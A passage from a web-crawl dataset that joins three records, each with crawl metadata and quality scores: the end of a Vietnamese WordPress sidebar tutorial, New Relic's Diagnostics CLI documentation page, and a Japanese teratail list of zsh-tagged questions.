'after_title' => '</h5><div class="horizontal-line"><hr class="top"><hr class="bottom"></div></div>'
));
}
}
Đừng quên inlcude register-sidebars.php vào file funtions.php nhé. Chúng ta dùng hàm register_sidebar để khai báo sidebar chúng ta sẽ sử dụng. Hàm này yêu cầu một tham số kiểu dữ liệu là mảng. Mảng đó chứa 1 số phần tử như sau:
• name: (string) : Tên hiển thị của sidebar trong phần Apperence -> Widget
• id: (string): id định danh cho sidebar để WordPress có thể xác định, id này cần riêng biệt, không trùng lặp. Mặc định id sẽ có dạng sidebar-$instance
• description (string) Mô tả cho sidebar, hiển thị trong Apperence -> Widget
• class: (string) các class css chúng ta gắn thêm cho khối sidebar (nếu cần thiết)
• before_widget (string) Phần html sẽ chèn vào trước khối widget
• after_widget (string) Phần html sẽ chèn vào sau khối widget
• before_title (string) Phần html sẽ chèn vào trước tiêu đề của widget, mặc định là thẻ h2
• after_title (string) Phần html sẽ chèn vào sau tiêu đề của widget, mặc định là thẻ h2
add action cho hook widgets_init nhé
add_action( 'widgets_init', 'glw_sidebars_init' );
Trong thư mục chính của theme, chúng ta sẽ tạo một file có tên sidebar.php – Đây là chứa template sidebar mà chúng ta đã đăng ký. Chúng ta sẽ gọi sidebar ra bằng bằng dynamic_sidebar( id sidebar ). Trước đó chúng ta sẽ kiểm tra sidebar đã chứa widget nào chưa, nếu có, sidebar sẽ được hiển thị.
<div class="col-xs-12 col-sm-4">
<div class="sidebar white-bg">
<?php
if(is_active_sidebar( 'glw_primary_sidebar' )){
dynamic_sidebar( 'glw_primary_sidebar' );
}
?>
</div>
</div>
Để hiển thị sidebar, chúng ta dùng hàm get_sidebar để hiển thị sidebar tại các template như index, single, archive …
Tạo widget demo cho sidebar
Các bạn cài plugin Monster Widget để tạo ra tất cả widget có sẵn của WordPress cho sidebar của bạn và test thử nhé.
Tạo widget demo cho sidebar bằng cách dùng pluign Monster Widget
Tạo widget demo cho sidebar bằng cách dùng pluign Monster Widget
Tạo nhiều sidebar cho theme
Để tạo thêm nhiều sidebar cho theme, các bạn khai báo thêm sidebar bằng register_sidebar. Nhớ đặt id của sidebar sao cho không bị trùng.
Tạo file chứa sidebar trong thư mục chính cũa theme theo định dạng sidebar-tên sidebar.php dynamic_sidebar( id sidebar ).
Vài phút cho quảng cáo Hosting
Các bạn cần hosting PHP - WordPress nhanh, rẻ và dễ sử dụng có thể chọn Azdigi nhé.
Link đăng ký: https://my.azdigi.com/aff.php?aff=1612
Nếu các bạn đăng ký và sử dụng hosting, Góc Làm Web sẽ có một ít tiền để duy trì.
Hiển thị sidebar trong template index, single, archive bằng hàm get_sidebar(‘tên-sidebar’). Lưu ý, tên sidebar trong hàm get_sidebar phải giống với phần tên sidebar trong tên file php thì WordPress mới nhận diện được.
Tài liệu WordPress
Link tài liệu chính chủ WordPress về các hàm đã dùng trong bài học nếu muốn tìm hiểu sâu hơn
Code hoàn thành của bài học: Google Drive
Nếu có thắc mắc, đặt câu hỏi bằng cách comment bên dưới, qua email, hoặc nhắn tin qua Fanpage Góc làm web.
Đừng quên LikeShare nếu thấy bài viết thú vị.
Liên hệ
Để lại một trả lời
Địa chỉ email của bạn sẽ không được công bố. | {
"url": "https://goclamweb.com/8-wpdev-tao-sidebars-trong-theme-wordpress/",
"source_domain": "goclamweb.com",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "158759",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:M46WRIT624BS6J4BQP4MUQDNEC73ZMGM",
"WARC-Concurrent-To": "<urn:uuid:5a87b373-f769-4103-a800-6502cf97399c>",
"WARC-Date": "2021-04-19T00:15:31Z",
"WARC-IP-Address": "45.252.249.26",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QHEXNRPWSRVHPZKA7U63UQ4TSYX3X45J",
"WARC-Record-ID": "<urn:uuid:c02b6cff-62c1-46fb-b744-176dc132d64e>",
"WARC-Target-URI": "https://goclamweb.com/8-wpdev-tao-sidebars-trong-theme-wordpress/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e51f67e0-5c1f-47e1-ba40-100736d4da8e>"
},
"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-46.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
60,
61,
67,
68,
194,
195,
236,
237,
256,
257,
276,
277,
408,
409,
452,
486,
518,
586,
640,
728,
789,
830,
913,
1028,
1040,
1046,
1048,
1049,
1277,
1278,
1355,
1509,
1588,
1673,
1740,
1804,
1897,
1987,
1988,
2025,
2026,
2077,
2078,
2373,
2374,
2407,
2442,
2457,
2513,
2567,
2577,
2588,
2599,
2606,
2607,
2724,
2725,
2753,
2754,
2870,
2871,
2936,
3001,
3002,
3030,
3031,
3168,
3169,
3291,
3292,
3323,
3324,
3408,
3461,
3543,
3544,
3762,
3763,
3782,
3783,
3876,
3877,
3919,
3920,
4027,
4028,
4074,
4075,
4083,
4084,
4103,
4104
],
"line_end_idx": [
60,
61,
67,
68,
194,
195,
236,
237,
256,
257,
276,
277,
408,
409,
452,
486,
518,
586,
640,
728,
789,
830,
913,
1028,
1040,
1046,
1048,
1049,
1277,
1278,
1355,
1509,
1588,
1673,
1740,
1804,
1897,
1987,
1988,
2025,
2026,
2077,
2078,
2373,
2374,
2407,
2442,
2457,
2513,
2567,
2577,
2588,
2599,
2606,
2607,
2724,
2725,
2753,
2754,
2870,
2871,
2936,
3001,
3002,
3030,
3031,
3168,
3169,
3291,
3292,
3323,
3324,
3408,
3461,
3543,
3544,
3762,
3763,
3782,
3783,
3876,
3877,
3919,
3920,
4027,
4028,
4074,
4075,
4083,
4084,
4103,
4104,
4148
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4148,
"ccnet_original_nlines": 92,
"rps_doc_curly_bracket": 0.0014464800478890538,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.008018329739570618,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0011454799678176641,
"rps_doc_frac_lines_end_with_ellipsis": 0.010752690024673939,
"rps_doc_frac_no_alph_words": 0.260022908449173,
"rps_doc_frac_unique_words": 0.400630921125412,
"rps_doc_mean_word_length": 5.416403770446777,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.002290949923917651,
"rps_doc_unigram_entropy": 5.110054016113281,
"rps_doc_word_count": 634,
"rps_doc_frac_chars_dupe_10grams": 0.03552708029747009,
"rps_doc_frac_chars_dupe_5grams": 0.13075131177902222,
"rps_doc_frac_chars_dupe_6grams": 0.09668026119470596,
"rps_doc_frac_chars_dupe_7grams": 0.09668026119470596,
"rps_doc_frac_chars_dupe_8grams": 0.057658709585666656,
"rps_doc_frac_chars_dupe_9grams": 0.057658709585666656,
"rps_doc_frac_chars_top_2gram": 0.023296449333429337,
"rps_doc_frac_chars_top_3gram": 0.016016310080885887,
"rps_doc_frac_chars_top_4gram": 0.022131619974970818,
"rps_doc_books_importance": -353.2486877441406,
"rps_doc_books_importance_length_correction": -353.2486877441406,
"rps_doc_openwebtext_importance": -196.7406768798828,
"rps_doc_openwebtext_importance_length_correction": -196.7406768798828,
"rps_doc_wikipedia_importance": -130.6818084716797,
"rps_doc_wikipedia_importance_length_correction": -130.6818084716797
},
"fasttext": {
"dclm": 0.1022423505783081,
"english": 0.0027810800820589066,
"fineweb_edu_approx": 2.2453088760375977,
"eai_general_math": 0.000002739999899858958,
"eai_open_web_math": 0.006452859845012426,
"eai_web_code": 0.40098321437835693
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,865,804,825,825,527,000 | Diagnostics CLI (nrdiag)
Run the CLI
The Diagnostics CLI (nrdiag) is a utility that automatically detects common problems with New Relic products. If the Diagnostics CLI detects a problem, it suggests troubleshooting steps. The Diagnostics CLI can automatically upload troubleshooting data to a New Relic account.
The Diagnostics CLI is open source and is located in GitHub.
For additional troubleshooting steps for your agent, check out Not seeing data.
Here's an example of the Diagnostics CLI running on Ubuntu Linux. The program checks your New Relic agent configurations for issues and generates zipped troubleshooting logs that are ready to be attached to support tickets.
Compatibility
The Diagnostics CLI is available for Linux, macOS, and Windows. It can detect common configuration issues for:
• APM: Available for all agents. For the Go agent, only basic connectivity checks are available.
• Browser monitoring: Browser agent detection
• Infrastructure monitoring: Linux and Windows agents
• Mobile agents: iOS and Android
• Synthetic monitoring: Containerized private minions (CPM)
The Diagnostics CLI does not require superuser or admin permissions to run, although we recommend those permissions for some checks. It will return an error if it does not have permissions to read the files it scans.
Get started
To use the Diagnostics CLI:
1. Run the Diagnostics CLI, including task suites and command line options as needed.
2. Supply the -attach flag for uploading results to your New Relic account.
3. Optional: Validate your config file settings.
4. Interpret the output.
Like any other New Relic tool, the Diagnostics CLI service is designed to protect you and your customers' data privacy. For detailed information, see our Diagnostics CLI licensing and security documentation. | {
"url": "https://docs.newrelic.com/docs/new-relic-solutions/solve-common-issues/diagnostics-cli-nrdiag/diagnostics-cli-nrdiag/embed/",
"source_domain": "docs.newrelic.com",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "84616",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HJGW3VIG3CFQL7LDFNL5N2ZQVQEQEYW5",
"WARC-Concurrent-To": "<urn:uuid:0116858e-0144-40f2-a565-4e7f0a3e920f>",
"WARC-Date": "2023-06-01T12:56:48Z",
"WARC-IP-Address": "146.75.34.22",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:O4TOBIK2P4M7FJLGLGCAZTPK2QP5IGPX",
"WARC-Record-ID": "<urn:uuid:8c63a52b-eda5-45b9-b2b4-d3f5196a1a06>",
"WARC-Target-URI": "https://docs.newrelic.com/docs/new-relic-solutions/solve-common-issues/diagnostics-cli-nrdiag/diagnostics-cli-nrdiag/embed/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1db95f6b-d301-477c-bb26-fe120b3e38d7>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-225\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
25,
26,
38,
39,
316,
317,
378,
379,
459,
460,
684,
685,
699,
700,
811,
812,
911,
959,
1015,
1050,
1112,
1113,
1330,
1331,
1343,
1344,
1372,
1373,
1461,
1539,
1590,
1617,
1618
],
"line_end_idx": [
25,
26,
38,
39,
316,
317,
378,
379,
459,
460,
684,
685,
699,
700,
811,
812,
911,
959,
1015,
1050,
1112,
1113,
1330,
1331,
1343,
1344,
1372,
1373,
1461,
1539,
1590,
1617,
1618,
1825
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1825,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2699386477470398,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0460122711956501,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17484663426876068,
"rps_doc_frac_unique_words": 0.5451263785362244,
"rps_doc_mean_word_length": 5.306859016418457,
"rps_doc_num_sentences": 22,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.624206066131592,
"rps_doc_word_count": 277,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.11428570747375488,
"rps_doc_frac_chars_top_3gram": 0.11564625799655914,
"rps_doc_frac_chars_top_4gram": 0.025850340723991394,
"rps_doc_books_importance": -160.59019470214844,
"rps_doc_books_importance_length_correction": -158.5801544189453,
"rps_doc_openwebtext_importance": -80.42389678955078,
"rps_doc_openwebtext_importance_length_correction": -80.42389678955078,
"rps_doc_wikipedia_importance": -54.05715560913086,
"rps_doc_wikipedia_importance_length_correction": -54.04690933227539
},
"fasttext": {
"dclm": 0.02951735071837902,
"english": 0.8439202308654785,
"fineweb_edu_approx": 1.4068634510040283,
"eai_general_math": 0.06766819953918457,
"eai_open_web_math": 0.1343591809272766,
"eai_web_code": 0.04775321111083031
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.455",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-7,657,391,222,108,144,000 | zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
新着
アクティブ
未回答
未解決
注目
解決済
シェルのパイプ処理で、標準出力の先頭行だけを読んでその文字列によって後の処理を変更させることはできますか？
bash
bash(Bourne-again-Shell)は sh(Bourne Shell)のインプリメンテーションに様々な機能が追加されたシェルです。LinuxやMac OS XではBashはデフォルトで導入されています。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
解決済
回答1
[Mac]terminalをzshで起動するとエラーが表示されてしまう
terminal
Terminalは、Apple社のmacOSに標準で付属しているUNIX端末エミュレータ。UNIXコマンドによってMacの操作および設定を行うことができます。
MacOS(OSX)
MacOSとは、Appleの開発していたGUI（グラフィカルユーザーインターフェース）を採用したオペレーションシステム（OS）です。Macintoshと共に、市場に出てGUIの普及に大きく貢献しました。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
解決済
回答2
特定範囲の文字列のファイルからファイルへのコピーを自動化したい【Shellscript or python？】
bash
bash(Bourne-again-Shell)は sh(Bourne Shell)のインプリメンテーションに様々な機能が追加されたシェルです。LinuxやMac OS XではBashはデフォルトで導入されています。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
Python
Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。
受付中
回答0
limaで起動したUbuntuのパスワードを知りたい。
Ubuntu
Ubuntuは、Debian GNU/Linuxを基盤としたフリーのオペレーティングシステムです。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
Docker
Dockerは、Docker社が開発したオープンソースのコンテナー管理ソフトウェアの1つです
QEMU
QEMU（キューエミュ）は、Fabrice Bellardが中心となって開発しているオープンソースのプロセッサエミュレータ
受付中
回答0
R パッケージがMacOS12でインストールできない
terminal
Terminalは、Apple社のmacOSに標準で付属しているUNIX端末エミュレータ。UNIXコマンドによってMacの操作および設定を行うことができます。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
解決済
回答1
Automatorのシェルスクリプト実行結果をウインドウ表示したい
Automator
Automatorは、作業を自動化するワークフロー構築ソフトウェア。Macに標準で搭載されています。ドラッグ＆ドロップ操作で自動化レシピを作成。任意のショートカットキーで実行することが可能です。
MacOS(OSX)
MacOSとは、Appleの開発していたGUI（グラフィカルユーザーインターフェース）を採用したオペレーションシステム（OS）です。Macintoshと共に、市場に出てGUIの普及に大きく貢献しました。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
受付中
回答0
[M1 mac]rbenv install 2.7系installすると、エラーが発生する
rbenv
rbenvは、Rubyバージョン管理ツール。プロジェクトごとでRubyバージョンを切り替えることが可能です。RVMよりもシンプルで、少ない機能で動作します。本体にはRubyのビルド機能は備わっておらず、ruby-buildというツールを用いる必要があります。
Ruby
Rubyはプログラミング言語のひとつで、オープンソース、オブジェクト指向のプログラミング開発に対応しています。
OpenSSL
OpenSSLはSSL/TLSのプロトコルと一般的な暗号のライブラリを導入するオープンソースのソフトウェアのツールキットです。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
解決済
回答1
ワードプレスのユーザー情報削除と定額課金の停止を自動化したい
WordPress
WordPressは、PHPで開発されているオープンソースのブログソフトウェアです。データベース管理システムにはMySQLを用いています。フリーのブログソフトウェアの中では最も人気が高く、PHPとHTMLを使って簡単にテンプレートをカスタマイズすることができます。
PHP
PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
Python
Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。
解決済
回答1
sed に行わせたいコマンド文字列を組み立てるとダブルクォーテーションが不明なコマンドとしてエラーが出る。
sed
sedとは、POSIX環境のために作られたコマンドラインエディタです。sedは編集スクリプトの指示のもとに複数のファイルを編集し、標準出力にその結果を出力します。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
AWK
AWKは、UNIX 上で開発されたプログラミング言語で、CSVファイルなどのテキストファイルの処理を目的にデザインされています。
解決済
回答2
【Mac zsh】パスの通っていない Python パッケージを実行したい
MacOS(OSX)
MacOSとは、Appleの開発していたGUI（グラフィカルユーザーインターフェース）を採用したオペレーションシステム（OS）です。Macintoshと共に、市場に出てGUIの普及に大きく貢献しました。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
Python
Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。
解決済
回答1
Macbookでpythonを使えるようにしたい。
Visual Studio Code
Visual Studio Codeとは、Microsoft社が開発したマルチプラットフォーム対応のテキストエディタです。Visual Studioファミリーの一員でもあります。拡張性とカスタマイズ性が高く、テキストエディタでありながら、IDEと遜色ない機能を備えることができます。
Python 3.x
Python 3はPythonプログラミング言語の最新バージョンであり、2008年12月3日にリリースされました。
MacOS(OSX)
MacOSとは、Appleの開発していたGUI（グラフィカルユーザーインターフェース）を採用したオペレーションシステム（OS）です。Macintoshと共に、市場に出てGUIの普及に大きく貢献しました。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
pip
pipとは、Pythonを用いて書かれているパッケージソフトのインストールや管理を行うためのパッケージマネジメントシステムです。pipを使う主なメリットは、コマンドラインインターフェースにて容易にPythonパッケージソフトをインストール可能だという点です。
解決済
回答1
シェルの設定ファイル(.zshrc)の追記ができない
Vim
VimとはUnix / Linux 系のOSに標準搭載されているターミナル上で動くテキストエディタです。
MacOS(OSX)
MacOSとは、Appleの開発していたGUI（グラフィカルユーザーインターフェース）を採用したオペレーションシステム（OS）です。Macintoshと共に、市場に出てGUIの普及に大きく貢献しました。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
受付中
回答0
ubuntuでJAVA_HOMEを設定するためにjdkへのパスを取得したい
bash
bash(Bourne-again-Shell)は sh(Bourne Shell)のインプリメンテーションに様々な機能が追加されたシェルです。LinuxやMac OS XではBashはデフォルトで導入されています。
JAR
JAR(又はJava ARchive)はコンパイルされた複数のJavaバイトコード及び関連ファイルのリソースを一つのファイルに統合したものです。JARファイルはZIPファイルのフォーマットで構築されています。
Java
Javaは、1995年にサン・マイクロシステムズが開発したプログラミング言語です。表記法はC言語に似ていますが、既存のプログラミング言語の短所を踏まえていちから設計されており、最初からオブジェクト指向性を備えてデザインされています。セキュリティ面が強力であることや、ネットワーク環境での利用に向いていることが特徴です。Javaで作られたソフトウェアは基本的にいかなるプラットフォームでも作動します。
Ubuntu
Ubuntuは、Debian GNU/Linuxを基盤としたフリーのオペレーティングシステムです。
zsh
zshは、UNIX系OSのシェルの1つです。 cshやksn系のコマンドライン編集機能も実装されたシェルです。
解決済
回答1
1
23
... | {
"url": "https://teratail.com/tags/zsh",
"source_domain": "teratail.com",
"snapshot_id": "crawl=CC-MAIN-2022-33",
"warc_metadata": {
"Content-Length": "177193",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NYJ3FUN6B2BOYRESIBABJM225KXJYLI6",
"WARC-Concurrent-To": "<urn:uuid:89c80653-008f-43c5-b620-526e3b98be95>",
"WARC-Date": "2022-08-11T05:10:57Z",
"WARC-IP-Address": "52.194.125.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:CIICP5NPJ3QYU6KR6XXPBO3JHK6VK7U3",
"WARC-Record-ID": "<urn:uuid:c7e1f001-d833-45b5-9d7f-3abfe8a89738>",
"WARC-Target-URI": "https://teratail.com/tags/zsh",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a5d04729-0f1f-4c2a-875b-6bbf63f79db3>"
},
"warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-112\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
4,
5,
61,
62,
65,
66,
72,
73,
77,
78,
82,
83,
86,
87,
91,
92,
146,
147,
152,
153,
262,
263,
267,
268,
324,
325,
329,
330,
334,
335,
371,
372,
381,
382,
462,
463,
474,
475,
577,
578,
582,
583,
639,
640,
644,
645,
649,
650,
706,
707,
712,
713,
822,
823,
827,
828,
884,
885,
892,
893,
1059,
1060,
1064,
1065,
1069,
1070,
1098,
1099,
1106,
1107,
1157,
1158,
1162,
1163,
1219,
1220,
1227,
1228,
1275,
1276,
1281,
1282,
1344,
1345,
1349,
1350,
1354,
1355,
1382,
1383,
1392,
1393,
1473,
1474,
1478,
1479,
1535,
1536,
1540,
1541,
1545,
1546,
1580,
1581,
1591,
1592,
1690,
1691,
1702,
1703,
1805,
1806,
1810,
1811,
1867,
1868,
1872,
1873,
1877,
1878,
1924,
1925,
1931,
1932,
2062,
2063,
2068,
2069,
2125,
2126,
2134,
2135,
2199,
2200,
2204,
2205,
2261,
2262,
2266,
2267,
2271,
2272,
2303,
2304,
2314,
2315,
2448,
2449,
2453,
2454,
2654,
2655,
2659,
2660,
2716,
2717,
2724,
2725,
2891,
2892,
2896,
2897,
2901,
2902,
2956,
2957,
2961,
2962,
3044,
3045,
3049,
3050,
3106,
3107,
3111,
3112,
3177,
3178,
3182,
3183,
3187,
3188,
3226,
3227,
3238,
3239,
3341,
3342,
3346,
3347,
3403,
3404,
3411,
3412,
3578,
3579,
3583,
3584,
3588,
3589,
3615,
3616,
3635,
3636,
3778,
3779,
3790,
3791,
3849,
3850,
3861,
3862,
3964,
3965,
3969,
3970,
4026,
4027,
4031,
4032,
4162,
4163,
4167,
4168,
4172,
4173,
4200,
4201,
4205,
4206,
4259,
4260,
4271,
4272,
4374,
4375,
4379,
4380,
4436,
4437,
4441,
4442,
4446,
4447,
4485,
4486,
4491,
4492,
4601,
4602,
4606,
4607,
4712,
4713,
4718,
4719,
4919,
4920,
4927,
4928,
4978,
4979,
4983,
4984,
5040,
5041,
5045,
5046,
5050,
5051,
5053,
5054,
5057,
5058
],
"line_end_idx": [
4,
5,
61,
62,
65,
66,
72,
73,
77,
78,
82,
83,
86,
87,
91,
92,
146,
147,
152,
153,
262,
263,
267,
268,
324,
325,
329,
330,
334,
335,
371,
372,
381,
382,
462,
463,
474,
475,
577,
578,
582,
583,
639,
640,
644,
645,
649,
650,
706,
707,
712,
713,
822,
823,
827,
828,
884,
885,
892,
893,
1059,
1060,
1064,
1065,
1069,
1070,
1098,
1099,
1106,
1107,
1157,
1158,
1162,
1163,
1219,
1220,
1227,
1228,
1275,
1276,
1281,
1282,
1344,
1345,
1349,
1350,
1354,
1355,
1382,
1383,
1392,
1393,
1473,
1474,
1478,
1479,
1535,
1536,
1540,
1541,
1545,
1546,
1580,
1581,
1591,
1592,
1690,
1691,
1702,
1703,
1805,
1806,
1810,
1811,
1867,
1868,
1872,
1873,
1877,
1878,
1924,
1925,
1931,
1932,
2062,
2063,
2068,
2069,
2125,
2126,
2134,
2135,
2199,
2200,
2204,
2205,
2261,
2262,
2266,
2267,
2271,
2272,
2303,
2304,
2314,
2315,
2448,
2449,
2453,
2454,
2654,
2655,
2659,
2660,
2716,
2717,
2724,
2725,
2891,
2892,
2896,
2897,
2901,
2902,
2956,
2957,
2961,
2962,
3044,
3045,
3049,
3050,
3106,
3107,
3111,
3112,
3177,
3178,
3182,
3183,
3187,
3188,
3226,
3227,
3238,
3239,
3341,
3342,
3346,
3347,
3403,
3404,
3411,
3412,
3578,
3579,
3583,
3584,
3588,
3589,
3615,
3616,
3635,
3636,
3778,
3779,
3790,
3791,
3849,
3850,
3861,
3862,
3964,
3965,
3969,
3970,
4026,
4027,
4031,
4032,
4162,
4163,
4167,
4168,
4172,
